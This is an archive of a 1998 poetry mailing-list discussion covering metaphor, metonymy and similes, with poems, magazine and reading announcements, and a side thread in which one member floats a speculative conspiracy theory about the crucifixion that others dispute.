Inasmuch as the material basis of Xtianity equals the Roman Empire rips off Jew-ideas and blends w/ Roman religion (virgin births, human god, etc.), perhaps Henry would consent to view the Rabbis' laughter (if that is what it was: horror was more what I had in mind) in the light of gallows humor? Esp. inasmuch (further) as it was *Jew* Jesus who was crucified -- along with a number of other Pharisaic rabbis (Jesus was a pharisee, btw) w/ bold ideas whose flesh was sanctified in that manner or (more often) by being burned alive. Do I think it quite the *joke* that this same empire should recast itself as world religion on that back, yup uh huh in a rather chilly sense you bet I do and sorry if I offend -- either you or another other. Stoke those fires....

Tom Mandel

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

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583. **morpheal**
Re: cruisingfiction
Tue 17 Mar 1998

> *Schooling me to be more serious (I think, tho email offers incredible space to misinterpret what people right -- very postmodern in that), Henry Gould writes:*
>
> "*Gosh, those rabbis sure knew how to get a laugh out of a crucifixion. A real knee-slapper toe-nailer, Tom! An image is an image and a god is a god and shucks maybe the Muslims are right. It was all a horsefeedback loopy sorta hat trick. Hardehar at yourdeyour and mightymine EXPENSE - seemingly forever! Aren't tropes fun?? (Especially on Desolation Row.)*"
>
> *Inasmuch as the material basis of Xtianity equals the Roman Empire rips off Jew-ideas and blends w/ Roman religion (virgin births, human god, etc.), perhaps Henry would consent to view the Rabbis' laughter (if that is what it was: horror was more what I had in mind) in the light of gallows humor?*

Curious that he fails to comprehend that the Islamic idea is essentially one of hierarchical understanding where all other ideas, other than their own, take a relative to each other place determined by that "higher understanding". For example, non believers as to god fall beneath pagans who believe there are many gods and pagans are the basement of spiritual existence according to Islam. At least according to what little I know of (degreed in the study of religions and philosophies). They reject the idea outright that Jesus, whom they say was a prophet, was crucified.

It all seems very silly to me. To paraphrase Bertrand Russell. Though I do not share his beliefs either.

The rejection by Islamic people is interesting in that the Rabbi agrees, since he is still waiting for the Jewish messiah, which puts the Jewish and the Islamic groups into bitter conflict again. There is no awaited messiah in Islamic beliefs. Something more to fight about, when not laughing about it.

Keep in mind that studies show that there were around 60 or more messiahs in the mid eastern region of the Roman Empire at around the same time. They all followed the same pattern, but are less well known. One canot but suspect the work of the Roman censors (Roman Empire version of a CIA, and not simply bean counters), who devised a clever plot to quell some nasty rebellions.

So there is a guy going around telling the oppressed to live like the lilies of the fields and give unto Caesar what is Caesar's. The people suspected an agent of Rome and wanted to off him. They chose to save another guy, even though the local Roman governor tried to convince the people otherwise, by humiliating to gain popular sympathy. Crown of thorns and drag a Tau through the streets failed to get the desired effect. Word had gotten around the guy was a Roman

spy. What to do then ? The Romans were clever. Their mystery cults, and each legion had one of their own, had death and ressurection rituals, to prepare warriors for battle. Common enough in such cultures, but they also were very clever with drugs. Where then does John Allegro's thesis concerning the Sacred Mushroom and the Cross come into it ? Shades of Amanita Muscaria mushroom myths ? What if the Romans induced coma and got their man off the cross before he perished. Then put him into a cave, which only the Roman engineers (clever fellows that they were) were able to open and close ? Ah, instant ressurection. Add an eclipse courtesy of the Roman knowledge of astronomy and it's done, a convincing spectacle of death and resurrection. A last ditch effort to convince the rebels not to rebel against Rome. The victim walks around with his stigmata, and then is whisked off, according to the legends again, to a grand tour of the empire, including a visit to Rome. Ah, how did Rome become the seat, and why did Roman emperors use the idea so readily later, rather than some other place ? Grand tours, and secret meetings with the emperor himself, were common for those who had served the emperor so exceptionally. In any instance the fellow had to be whisked away out of the mid east before someone caught on to what had happened.

A further corollary to it all. The fellow chosen by the censors, might have been Herod's own son. Why ? Herod tried to find and kill him, and the legend has it that he was a son of the lord. Herod was the lord. It was common for kings and nobility to take whatever women they wanted, whenever they wanted, but it was always a non event if the woman was of non noble origins. (Meaning it never happened.) Any conception was simply immaculate. Of course such origins lead to a very strange life, having come from what was invariably, in those days, divine kingship. Initiation, and usefulness in a leadership role, were inevitable.

Similar to Buddha, who was a prince, and whose immense desire for power led him to a kind of shadow government, imposing pacificism on would be rebels, during a time of potential upheaval. Very successful in maintaining the existing government in power, simply because he seemed so non political. Nevertheless, Buddha was power hungry, and the more followers who lived "like the lilies of the fields" and gave unto their political lords in the manner of "give unto Caesar what is Caesar's" the merrier. (If you see the Buddha on the road...kill him....takes on a whole new meaning.)

So there you have another plausible interpretation of the myth, or a variant on The Life of Brian...humming "always look on the bright side of life"...

The rabbi likely would have enjoyed that also.

Could the laughter be something very political.

Bob Ezergailis
aka Morpheal

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584. **Michael Magee**
Re: simile
Tue 17 Mar 1998

Couldn't resist sending you all this little poem after reading Jonathan's post, so, here goes... -m.

SIMILE

He was like
a trickster. Elizabeth
Bishop once said

that a simile
should be true

in at least
two ways. Mine
is, then, disqualified.

He *was* like
a trickster, this

is true; but
only in the
sense that his

penis was detachable;
and even this

is misleading, since
it was only
detachable once and

with difficulty; as
such, he was

only like a
trickster once. After
that he was

more like an
emergency room patient.

According to MAYHEW:
>
> I have notice that a certain kind of simile occurs in "creative writing"
> poems. I call it the "pseudo-profound" simile. It used to make me wince
> in poetry readings. On the other hand there is the "New York school"
> simile; an example I recall is "useless as a ski on a barge" or "useless
> as a ski." I think I came across it in relation to Kenneth Koch. I also
> like epic similes.
>
> Similes make easy targets because they are so blatantly
> stupid--unless they are used with some irony. Pound & Williams use them
> sparingly if at all. WCW condemns them in Spring & All I believe.
>
> Jonathan Mayhew
> Department of Spanish and Portuguese
> University of Kansas
> [redacted]
> [redacted]
>

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585. **groberts**
Not on the map?
Tue 17 Mar 1998

It may be that our collective interest in the metaphor and metonymy thread as it relates to experimental poetry is waning at this point, in which case I would be glad to continue this back-channel. Not to be too obtuse, but I think the concepts of domain and mapping, as presented in the Lakoff quotation (is a quotation a metonym?) seem too positivistic, in the sense that they seem to assume a certain isomorphism between domains (perhaps the book addresses this elsewhere). Or maybe I just want consider the implications of some of the passive verb constructions in the quote that Jonathan usefully provided: "In metaphor the logic of the source domain structure is mapped onto the logic of the target domain structure." Does it makes a difference here to ask what is doing the mapping? (It can't be the metaphor since then then definition would be circular.) How would these ideas and questions help to describe and promote (or fail to) some kinds of experimental writing? Don's interest in the "ragged edge of difference" in these mappings could also maybe be useful to think about poems such as Schwerner's Tablets, or Retallack's "Afterimages," or something like this section from Peter Inman's "stead" from his book "criss cross" (now there's a suggestive subject heading for a post):

the dawn (had she paused
from its terms (enough
brist of (arm in. an aspirin's
revolution. (tanned since.
the longer the Ohio (book
(cattled out. could be sub-
however she (tract than
arrives frosted to. (fiction.
dusked sweat drops

Take that, rosy-fingered dawn. Perhaps I don't know enough about Inman's work, but I would say that this "stanza" seems relevant to the question that started this whole thread. And to its subsequent adumbrations: the punctuation carves up the "lines" into domains that provisional and irrefutable. (are. Reading it requires a rehersal of our mapping-procedures such we need to ask "What is a line?" and "what might a line be/not be?"

No? Wait, whad I say?

Gary R.

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586. **LanceEli3**
Re: cruisingfiction
Tue 17 Mar 1998

Hmmmm . . . This is an interesting theory on Jesus (a new one I have not yet heard). Yet, what evidence is there that anybody thought Jesus a spy. If you go by the gospels (which seems to be the source of most of the facts in this email), Jesus claimed to be God in a Jewish context and this is what pissed everyone off, no one ever mentioned anything about being a spy. Why did Rome need a spy that hung out with "sinners" and outcasts? This theory does not make sense to me.

To say that Jesus was Herod's son seems quite a stretch based on the Bible. Is there any outside evidence for this?

I'm new to this listserver . . . but what in the world does this have to do with poetics?!

> *So there is a guy going around telling the oppressed to live like the lilies of the fields and give unto Caesar what is Caesar's. The people suspected an agent of Rome and wanted to off him. They chose to save another guy, even though the local Roman governor tried to convince the people otherwise, by humiliating to gain popular sympathy. Crown of thorns and drag a Tau through the streets failed to get the desired effect. Word had gotten around the guy was a Roman spy. What to do then ? The Romans were clever. Their mystery*

> *cults, and each legion had one of their own, had death and ressurection rituals, to prepare warriors for battle. Common enough in such cultures, but they also were very clever with drugs. Where then does John Allegro's thesis concerning the Sacred Mushroom and the Cross come into it ? Shades of Amanita Muscaria mushroom myths ? What if*
> *the Romans induced coma and got their man off the cross before he perished. Then put him into a cave, which only the Roman engineers (clever fellows that they were) were able to open and close ? Ah, instant ressurection. Add an eclipse courtesy of the Roman knowledge of astronomy and it's done, a convincing spectacle of death and resurrection. A last ditch effort to convince the rebels not to rebel against Rome. The victim walks around with his stigmata, and then is whisked off, according to the legends again, to a grand tour of the empire, including a visit to Rome. Ah, how did Rome become the seat, and why did Roman emperors use the idea so readily later, rather than some other place ? Grand tours, and secret meetings with the emperor himself, were common for those who had served the emperor so exceptionally. In any instance the fellow had to be whisked away out of the mid east before someone caught on to what had happened.*
>
> *A further corollary to it all. The fellow chosen by the censors, might have been Herod's own son. Why ? Herod tried to find and kill him, and the legend has it that he was a son of the lord. Herod was the lord. It was common for kings and nobility to take whatever women they wanted, whenever they wanted, but it was always a non event if the woman was of non noble origins. (Meaning it never happened.) Any conception was simply immaculate. Of course such origins lead to a very strange life, having come from what was invariably, in those days, divine kingship. Initiation, and usefulness in a leadership role, were inevitable.*

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587. **Don Wellman**

Re: understanding/pomometametonymicalisexuality

Tue 17 Mar 1998

... so much of what we understand in discourse seems to me to be "direct" ... mistaken maybe, maybe just impressions, not understanding. I am challenging the notion that there is an indirect understanding. Nada Gordon wrote, "Is there anything we understand in itself and not by any analogy whatsoever? Would that be *enlightenment*?" More problematical for me than the meaning of "understand" is the meaning of "anything."

There seems to be a mechanistic notion of the relation between words and things here...that is if "anything" refers to discourse. When I drink wine, I do not experience it by analogy. When I read Nada's sentence, I hear a desire for immedicacy--that seems to float off her words and does not require mental acrobatics on my part to understand. That is my impression and it may be rationally

indefensible. I am trying to say that the thing in itself is more likely to be a feeling rather than a brick in the road. I suppose if the brick in the road gave me a feeling that would be enlightenment (a religous epipnay).

When I analyze Nada's statement, I load it with irony. I have no sense that this irony is intentional or the thing she wants to communicate, but my mind now buzzes with associations between Kant, Enlightenment era philosopy, the Age of Reason, the thing in itself, etc. None of what I am doing now is by analagy; it is by association. I don't feel my mind switching off as it follows its indirections.

What is politically or socially interesting to me about metaphor and analogy is the way they their use can direct some one's thoughts, help some one see. A bad simile is a wonderful attack on reason--a refusal to allow the irrational to become rational, wonderfully irreveerent with respect to a too precious sense of how language is supposed to work. My sense of that irreverence is direct. I like it.

I wrote earlier that a "grammar of metonymic overlays is that of the Canto's..." --by this I meant no more than the major structural device in the Cantos is the overlay of image on image, of phrase on phrase, passage on passage. Pound himself uses the word super-position to describe his method of composition in his "Vorticism" where he also attachs both symbolism and synechdoce, of I remember. From this I derive the notion that it is the overlay of one field of images (or allusions) on another that creates structural metaphors or what he calls the "forma" in his essay "Medievalism."--near the end of the Cantos, he likens each overlay to the facets of a crystal--the point seems to be a centered overlay of transparent forms--something he experienced "englightenment"--only intermittantly--politically, as differences become drained of their particular importance he becomes more totalitarian. By contrast, deleuze and Guattari, as their plateaus slide over one another, they produce differences.

To my understanding, this is one of the crucial differences between modernism and postmodernism. The structural metaphors, metaphors of process, in modernism as represented by the Cantos are mraked by both reverence and quasi-scientific notionas of rationalism. Pound, again in "Vorticism" calls his method more like calculus than algebra, hence his denegration of easy connections between meaning and figures of speech like synechdoche.Still it seems to me that metaphor blossoms in ways that transcend or thread or cause energy to run through the planes of his composition. We see the rose in the steel dust. Christine Brooke Rose is much better on this than I am ...

I for one can not see such roses or vortices as directly as he did--as he hoped--they do not exist objectively for me. The forma does not constrain my indirection and flight of association and I prize instead that flight--that becomes my direct experience, one of decentered flight, one of play ...

His enlightenment becomes my fake simile? ... I am getting flakey now, having reached the limits of my ability to maintain a faced of coherence. The most important thing that I wanted to say is that even direction is a form of immediate thought ... I don't now what non-immediate thought is unless a deja vue slaps me in the face.

Don Wellman.

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588. **k. lederer**

Re: Prageeta Sharma (fwd)

Tue 17 Mar 1998

---------- Forwarded message ----------
Date: Tue, 17 Mar 1998 11:08:42 -0600 (CST)
From: "k. lederer" <[redacted]>
To: [redacted]
Subject: Re: Prageeta Sharma

A super poem by super poet Prageeta Sharma (in AGNI 46--she's also in the new Explosive Magazine):

PERFORMANCE

Detachment, as a general rule, scares me into traipse,
and into the kind of pedantry that composed for myself
erects more opulence, more human than feminine
nevertheless, I require food and heat,
falsify my walk to the drugstore on all fours
because of weak knees, botch the stutter
as a dog does when he has not yet succeeded in begging,
to eternalize the architecture, coffee shops
likewise your devotion,
behold the butcher with devil in eye
without soft mouth to substitute testimonial
to linger as wine in throat
to sip the throat, to care whether she has eaten,
in a form like this, I am contagious,
To claim Blake's MYRTLE TREE,
for my love, for my love, translucent mess,
a pageant, sun-down. We are on an amiable plight
to wave to an audience disappearing.

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589. **Kcglowworm**
metonymphormality
Tue 17 Mar 1998

The seeming transcendence of metaphor (the carrying away from one plane to another) depends on the maintenance of a metonymical division of labor always in flux. This does not imply a hierarchy of tropic orders but rather a complicity. Metaphor (the priesthood) needs metonymy (the police).

Got it?

Got what?
What is the nature of this it and of our getting?
What is the power of such a question, with its implication of the self-evident?

For Fredric Jameson, allegory is the basic symbolic act of the political unconscious.

George Hartley

↑ Index

590. **louis stroffolino**
Re: political unconscious metaphors
Tue 17 Mar 1998

---

since i tend to worry alot, i tend to revise.
yet ocassionally i notice an unintentionally
"politically uncorrect" metaphor creeping into a poem
"too late" (after it's appeared in print)
(as opposed to the "intentionally politically incorrect"
 metaphors I DO let people my work)...

For instance, I write "sanity goes on strike" in a poem
and I'm angry at myself (though the alliteration is 'nice'),
because I'm looking at Ange Mlinko's poem MATINEE
(which will be in her forthcoming book I think)
which has a line:
"and others laid off by sleep and asides"
which makes me wish i had written
"sanity lays me off" or "sanity takes away health benefits"
etc.....
if some academic close-reader wants to accuse me of
being bourgeois or something....assuming they still do that...
nonetheless it's fun to worry i suppose about such things

and is part of the flow as are ocassional fits of "intention"....
chris

On Tue, 17 Mar 1998, Kcglowworm wrote:

> *The seeming transcendence of metaphor (the carrying away from one plane to another) depends on the maintenance of a metonymical division of labor always in flux. This does not imply a hierarchy of tropic orders but rather a complicity. Metaphor (the priesthood) needs metonymy (the police).*
>
> *Got it?*
>
> *Got what?*
> *What is the nature of this it and of our getting?*
> *What is the power of such a question, with its implication of the self-evident?*
>
> *For Fredric Jameson, allegory is the basic symbolic act of the political unconscious.*
>
> *George Hartley*

↑ Index

591. **MAYHEW**
political (un)conscious
Tue 17 Mar 1998

I am very interested in the way that "we" attach ideological value to formal elements--tropes, poetic forms and meters (or absence of) etc... So the recent posts by Louis Stroffolino and Kcglowworm (metaphor for George Hartley) are thought-provoking.

I would contend that these attributions of value are themselves metaphorical at bottom. Parataxis is good because it isn't hierarchical as hypotaxis, would be one example. I have had long arguments with people about whether "open" form has anything to do with "openness."

This is what I meant when I asked the question: "must we allegorize our tropes?" That is, how much ideological baggage can the formal structure of (poetic) language bear? I am wary of arguments that attribute value (negative or positive) to form; yet isn't this what "poetics" itself consists of? Help me, please!

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas

[redacted]

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592. Mark Nowak
Xcp no. 2
Tue 17 Mar 1998

Xcp: Cross Cultural Poetics no. 2 is now available and includes new work by: Juan Felipe Herrera, Zhang Er, Chung Na Yei, U Sam Oeur, Wai-lim Yip, Paul Naylor, Jeff Derksen, Fernand Roqueplan, Lise McCloud, Hilton Obenzinger, Diane Glancy, Victoria Lena Manyarrows, Thomas Biolsi, Susan M. Schultz, Yunte Huang, Kathleen Stewart, and Elizabeth Burns, along with reviews of new/recent books by James Clifford, Julio Marzan, Arjun Appadurai, Michael Taussig, Victor Hernandez Cruz and Adrian Castro.

Subscriptions (for 4 issues) are available for $25 (individuals), $40 (institutions)--foreign, including Canada, add $5. Single issue copies are available for $9. **Please make checks payable to "College of St. Catherine"** and send to Mark Nowak, ed. _Xcp_, c/o College of St. Catherine-Mpls., 601 25th Avenue South, Minneapolis, MN, 55454.

Forthcoming _Xcp_/Cross Cultural Poetics Conference Readings, not including those w/ Mackey mentioned earlier by Maria, include:

Friday, April 3: Nathaniel Mackey reading, 7:30pm at the Nomad Gallery, St. Clair & Albert St. in St. Paul, Minnesota.

Thursday, April 23: Kirin Narayan reading, 3:00pm at College of St. Catherine-Mpls, Room 250 (Old Main). Narayan will also be giving a talk on Friday, April 24 at the University of MN (time & location to be announced later)

Saturday, May 2: _Xcp_ no. 2 publication reading at the Hungry Mind Bookstore in St. Paul, 7:00pm, with Diane Glancy, Lise McCloud, Chung Na Yei, Rita Chakrabarti, & Mark Nowak.

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593. Jordan Davis
boerdzhwa
Tue 17 Mar 1998

Brian Kim Stefans has a cute poem in the new Object/Tork dubl issue
in which
he speaks of
the importance

of Ashbery's Europe
for the new bourgeois poets
which is not to call anyone a close reader

same issue has fine work by Robt Kocik on a projected coop space in Manhattan for poets .. and Drew Gardner's "Cell Walk" which is also in

the Jarnot Stroffolino Schwartz anthology

I expect Brian will forgive the characterization "cute"?

it's a small world after lunch
J

↑ Index

594. Mark Prejsnar
Re: political unconscious metaphors
Tue 17 Mar 1998

Chris,

That was a really nice post.

No, no one is going to call you bourgeois (except in gouldian vein, dripping with irony).

If anyone was going to, it would be me, rest assured. (However I'm not an academic..It's not the academics you have to worry about though: names'll never hurt you: we workers knee-cap bourgeois types, **at least**)

Nothing terrible about "sanity on strike" as you originally did it. Strikes can actually be mobilized on occasion for incredibly reactionary ends...The CIA is very big on this. Most importantly, when Nixon and the CIA were organizing their criminal fascist coup against Allende in Chile, their spooks manipulated elements in the copper and other industries to strike in order to weaken the economy and turn the population against the government, lining up as much support as possible before the army struck. There have been instances of strikes motivated by racism. (..the Dodgers *almost* wildcatted because of Jackie Robinson; only a few exceptionally strong-willed and anti-racist guys talked the majority, who were revoltingly racist, out of it; that would'a been a strike, and is always refered to as such by people who were close to the incident. But there have also been larger-scale industrial examples)

I did enjoy the alternatives you considered. (How about, my sanity undergoes welfare reform...)

from the sanity barricades,
Mark the Red
@lanta

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595. Daniel Zimmerman

Re: fake metaphors, similes, equivalences

Tue 17 Mar 1998

Patrick F. Durgin wrote:
>
> Your question, Nada, rhetorical though it may be, "Is there
> anything we understand in itself?" answers / deconstructs itself in that
> this would require "we" understand understanding in itself.
>
> Patrick F. Durgin
>
> `
> `
> `
> ` ----->*<-----
> ` K E N N I N G|
> ` anewsletterof|
> ` poetry&poetic|
> ` s418BrownSt.#|
> ` 10IowaCityIA5|
> ` 2245USA\/\/\/|

THAT DOES IT

the preoccupation with its absence
becomes the means X uses
to achieve its mission without
betraying its identity. we don't
forget. we just don't say.
the deepest cover lies in surfaces.

flesh becomes an essay, a position
paper, a series of excisions from a code
book or a dictionary, an accretion
disk, a sentence. no time off
for good behavior. au contraire:
an exchange of vows the erasure of

the copula. spies make dreadful
poets, & only mediocre critics.
let's not call our new album
Spies for Love. let's not make that
An Anatomy of Eros, either.
Is it This, Is it That does it.

Daniel Zimmerman

↑ Index

596. William Burmeister Prod
Re: cruisingfiction
Tue 17 Mar 1998

That was a very bizarre, arm-waving exercise (if not just unforgettable). I think that what is meant by, "render unto Caesar what is Caesar's" is completely missed here. Are we meek?

William Burmeister

On Mar 17, 11:02am, morpheal wrote:
> Subject: Re: cruisingfiction
> >Schooling me to be more serious (I think, tho email offers incredible space
> >to misinterpret what people right -- very postmodern in that), Henry Gould
> >writes:
>
> >"Gosh, those rabbis sure knew how to get a laugh out of a crucifixion.
> >A real knee-slapper toe-nailer, Tom! An image is an image and a god is a god
> >and shucks maybe the Muslims are right. It was all a horsefeedback loopy
> >sorta hat trick. Hardehar at yourdeyour and mightymine EXPENSE - seemingly
> >forever! Aren't tropes fun?? (Especially on Desolation Row.)"
>
> >Inasmuch as the material basis of Xtianity equals the Roman Empire rips off
> >Jew-ideas and blends w/ Roman religion (virgin births, human god, etc.),
> >perhaps Henry would consent to view the Rabbis' laughter (if that is what
> >it was: horror was more what I had in mind) in the light of gallows humor?
>
> Curious that he fails to comprehend that the Islamic idea is essentially one
> of hierarchical understanding where all other ideas, other than their own,
> take a relative to each other place determined by that "higher
> understanding". For example, non believers as to god fall beneath pagans who

> believe there are many gods and pagans are the basement of spiritual
> existence according to Islam. At least according to what little I know of
> (degreed in the study of religions and philosophies). They reject the idea
> outright that Jesus, whom they say was a prophet, was crucified.
>
> It all seems very silly to me. To paraphrase Bertrand Russell.
> Though I do not share his beliefs either.
>
> The rejection by Islamic people is interesting in that the Rabbi agrees,
> since he is still waiting for the Jewish messiah, which puts the Jewish and
> the Islamic groups into bitter conflict again. There is no awaited messiah
> in Islamic beliefs. Something more to fight about, when not laughing about
it.
>
> Keep in mind that studies show that there were around 60 or more messiahs
in
> the mid eastern region of the Roman Empire at around the same time. They
all
> followed the same pattern, but are less well known. One canot but suspect
> the work of the Roman censors (Roman Empire version of a CIA, and not sim-
ply
> bean counters), who devised a clever plot to quell some nasty rebellions.
>
> So there is a guy going around telling the oppressed to live like the lilies
> of the fields and give unto Caesar what is Caesar's. The people suspected an
> agent of Rome and wanted to off him. They chose to save another guy, even
> though the local Roman governor tried to convince the people otherwise, by
> humiliating to gain popular sympathy. Crown of thorns and drag a Tau
through
> the streets failed to get the desired effect. Word had gotten around the guy
> was a Roman spy. What to do then ? The Romans were clever. Their mystery
> cults, and each legion had one of their own, had death and ressurection
> rituals, to prepare warriors for battle. Common enough in such cultures, but
> they also were very clever with drugs. Where then does John Allegro's thesis
> concerning the Sacred Mushroom and the Cross come into it ? Shades of
> Amanita Muscaria mushroom myths ? What if
> the Romans induced coma and got their man off the cross before he perished.
> Then put him into a cave, which only the Roman engineers (clever fellows
> that they were) were able to open and close ? Ah, instant ressurection. Add
> an eclipse courtesy of the Roman knowledge of astronomy and it's done, a
> convincing spectacle of death and resurrection. A last ditch effort to
> convince the rebels not to rebel against Rome. The victim walks around with

> his stigmata, and then is whisked off, according to the legends again, to a
> grand tour of the empire, including a visit to Rome. Ah, how did Rome be-
come
> the seat, and why did Roman emperors use the idea so readily later, rather
> than some other place ? Grand tours, and secret meetings with the emperor
> himself, were common for those who had served the emperor so exception-
ally.
> In any instance the fellow had to be whisked away out of the mid east before
> someone caught on to what had happened.
>
> A further corollary to it all. The fellow chosen by the censors, might have
> been Herod's own son. Why ? Herod tried to find and kill him, and the legend
> has it that he was a son of the lord. Herod was the lord. It was common for
> kings and nobility to take whatever women they wanted, whenever they
wanted,
> but it was always a non event if the woman was of non noble origins.
> (Meaning it never happened.) Any conception was simply immaculate. Of
course
> such origins lead to a very strange life, having come from what was
> invariably, in those days, divine kingship. Initiation, and usefulness in a
> leadership role, were inevitable.
>
> Similar to Buddha, who was a prince, and whose immense desire for power
led
> him to a kind of shadow government, imposing pacificism on would be rebels,
> during a time of potential upheaval. Very successful in maintaining the
> existing government in power, simply because he seemed so non political.
> Nevertheless, Buddha was power hungry, and the more followers who lived
> "like the lilies of the fields" and gave unto their political lords in the
> manner of "give unto Caesar what is Caesar's" the merrier. (If you see the
> Buddha on the road...kill him....takes on a whole new meaning.)
>
> So there you have another plausible interpretation of the myth, or a variant
> on The Life of Brian...humming "always look on the bright side of life"...
>
> The rabbi likely would have enjoyed that also.
>
> Could the laughter be something very political.
>
> Bob Ezergailis
> aka Morpheal
>-- End of excerpt from morpheal

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597. **Aldon Nielsen**
Re: spoonerisms anyone?
Tue 17 Mar 1998

thanks for that dish, Tom --

isn't _Adorno's Ashes_ that delightful weepy book that the talk shows have been spoon feeding to the still-reading masses all this year?

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598. **Aldon Nielsen**
Re: SOY BOMB??????
Tue 17 Mar 1998

This received this morning -- Happy Saint Patrick's Day

> *There's already a web site called*
>
> *Soy Bomb Nation*
>
> *Visit it @:*
>
> *http://www.hiphopmusic.com/soybomb.html*
>
> *You won't be sorry.*

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599. **Tom Mandel**
dishing fork and spooning
Tue 17 Mar 1998

I'm delighted if I have in the slightest help to stir up the mare's nest soup in this teakettle-tempest of tenpins we bowl online if unalined.

George Hartley is "using the terms "metaphor" and "metonymy" metaphorically... not talking about language... (but) about ...(to use a metaphor) ideological terrain, a concept ...mostly from Althusser and, after him, Laclau and Mouffe."

To distinguish ideological terrain from language I am not able. I read Althusser pretty closely when he first appeared, with what then appeared as something new to say, but I've been luckier since and have only glanced off Laclau and like the asteroid and earth will have entirely missed Mouffe. Perhaps they are able to make the distinction w/o causing "either metaphor or metonymy (to) lie there

innocently as tools at hand" in language as apparently they do not in that more colorful ideo-apellation.

George asks: "to what degree... (do metaphor and metonymy) shape our conception of the relationships they establish rather than simply express." I.e. to what degree do they shape rather than express relationships."

Hmmm. There is no question in this question is there?

The *whole activity* of metaphor is to shape our conceptions. Both when we use it as a tool, and in the underlying sense that *all* conception is metaphor (note and unpack the word "underlying" just a moment ago or "unpack" even more recently: these are counters of a metaphorical system whereby we understand mental activities by way of physical ones. Note the word "understand" -- the same system is *in* that word. Note the word "in" which is a counter of the metaphorical system of container/contained, part of the same system I mentioned earlier in this paren. I hope the overwhelming nature of the mind/metaphor connection is starting to sink in [note the physical metaphor: "sink in]).

Metonymy on the other hand, precisely "expresses" rather than establishes a relationship. When we say "Wyatt was buried in the country" and mean in a cemetary in the country, we are simply expressing an existing semantic field (no, not the one in which he lies buried!). We are *not* mapping two semantic fields, but as it were folding the one semantic field to make items which are related actually touch for the moment (of the sentence). (And those who have read the preceding para will recognize in "folding" another physical metaphor for a mental act) (and those who have read modern physics will recognize that I took the metaphor from one that's often used to understand how *conceptions of* space/time might work).

All this to return to his original point, that metaphor is somehow "vertical" and therefore somehow "metaphysical" (i.e. vertical means distinctions of "height" and "height" implies ontology...?? or...?) and that metonymy is somehow "horizontal" and therefore somehow... investigative? makes new connections?"

The point is, that is entirely incorrect. Not above 180 degrees off (nor below), as I said to myself -- and to you -- when I read his words. Just like my "fork ran away with the spoon" (as someone pointed out, it was the dish who did it). I was wrong about the fork and the spoon, George is wrong about metaphor and metonymy.

If, as Hartley goes on, "this distinction may in many ways itself be a tired one", i.e. the fashion for using it has passed, perhaps it is because it is so often misused, abused, ill-used, used, i.e., to say that which is not true.

"...but I found it useful for a particular discussion of kafka" -- Yes, well if the room is interesting, a lock is useful to inhibit access.

Ok, now lets hear from George. This kind of stuff beats having to sweep Adorno's ashes out of the room, that's for sure!

Tom Mandel

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

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600. Tom Mandel
the abstract point of toms....
Tue 17 Mar 1998

Henry writes:

"I think the point of Tom's remarks on this, and mine, and several others, is that this characterization of metaphor-in-action is extremely abstract,"

Dunno about the "several others," but I prefer to say what my point is myself, Henry -- every single time.

There is no group take on nor objection to George Hartley, who is a really interesting critic, even tho I'm dishing him a mile a minute just in order to provoke him *or someone* into something fun. In fact, if there *is* a group take on his point, I'm going to have to switch sides in a minute, and him and me will spot you as many points as you name and make those and that many more.

Ganging up on someone just ain't my way; when I want a fight, I get right out in front and swing.

It is not -- my point that is -- btw, that "this characterization... is ...abstract."

Abstract is cool, it's modern, it's jazz, shades, a beret, a goatee. It's a martini or a perfect rob roy, Billy Strayhorn Lenny Tristano Schmuel Trigano, and all that weltschmerz joiedevivre thing. I like abstract, I want abstract, it's wild that George is abstract. Lets all be way more abstract, man, dig?

Tom Mandel

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]

----------+----------
Join the Caucus Conversation

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601. **Dale M Smith**
Mike & Dale's Issue 8
Tue 17 Mar 1998

For those of you who can't get enough of Spaghetti Westerns and Noir Romance, Mike and Dale's Younger Poets proudly present Winter issue #8. This issue will glue you to the edge of your seat and drop poems in your lap like ticks on a dog. Check out this list of serious characters:

Edward Ainsworth, Edmund Berrigan, Ted Berrigan, Noel Andersen Black, Sherry Brennan, Tom Clark, Jack Collom, Clark Coolidge, Gary Dickerson, Kevin Fitzgerald, Greg Fuchs, John Herndon, Joey Kolb, John Latta, Katy Lederer, Hoa Nguyen, Jamison Panko, Simon Pettet, Wanda Phipps, Michael Price, Stephen Ratcliffe, Suloni Robertson, Michael Rothenberg, Joe Safdie, Sal Salasin, Alva Svoboda, Duncan McNaughton and yours truly. Wow!!!!

Order today and register for a chance to win a free trip on the M&D Metaphor Express! That's right. An all expense paid trip through our collection of tried and true metaphorical expressions that promise more fun than a pun at the MLA. Order today:

Michael Price
766 Valencia Street
SF CA 94110

Dale Smith
1207 Lorrain Street #2
Austin, TX 78703

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602. **Steve Tills**
Re: women and men in conversation
Tue 17 Mar 1998

This is a very fruitful line of discussion, I think. I haven't, myself, read the Tannen book, but I've come to similar observations via other writers, Carol Gilligan and Nancy Chodorow and Riane Eisler, for example. I firmly believe that distinctions between "the Competitive" male models and "the cooperative" female models of discourse/language use and engagement/writing/poetics etc are going to yield exceptionally "new" poetries and world. (Also, I do not think these kinds of considerations have been "done" by even the most innovative of

"reader-based" poets, though I think some (no, I'm not going to mention any names) may have taken, inadvertently, steps in such directions.) The key issue here is, as Eisler would argue in _The Chalice & The Blade_, the distinction between "competitive" and "cooperative" models, the former having dominated a good deal of, if not most of, all cultures since about 10,000 years ago. Let me leave this little diatribe at this for now, but add one more silly obsession of mine: What happens to "competition" if poetries are produced "anonymously." Do the ballfields get leveled? Do even well known poets gain freedom to "make it new," i.e., create something many folks would dig yet not be able to label as XX's or XY's poetry?

Ctfarmr wrote:

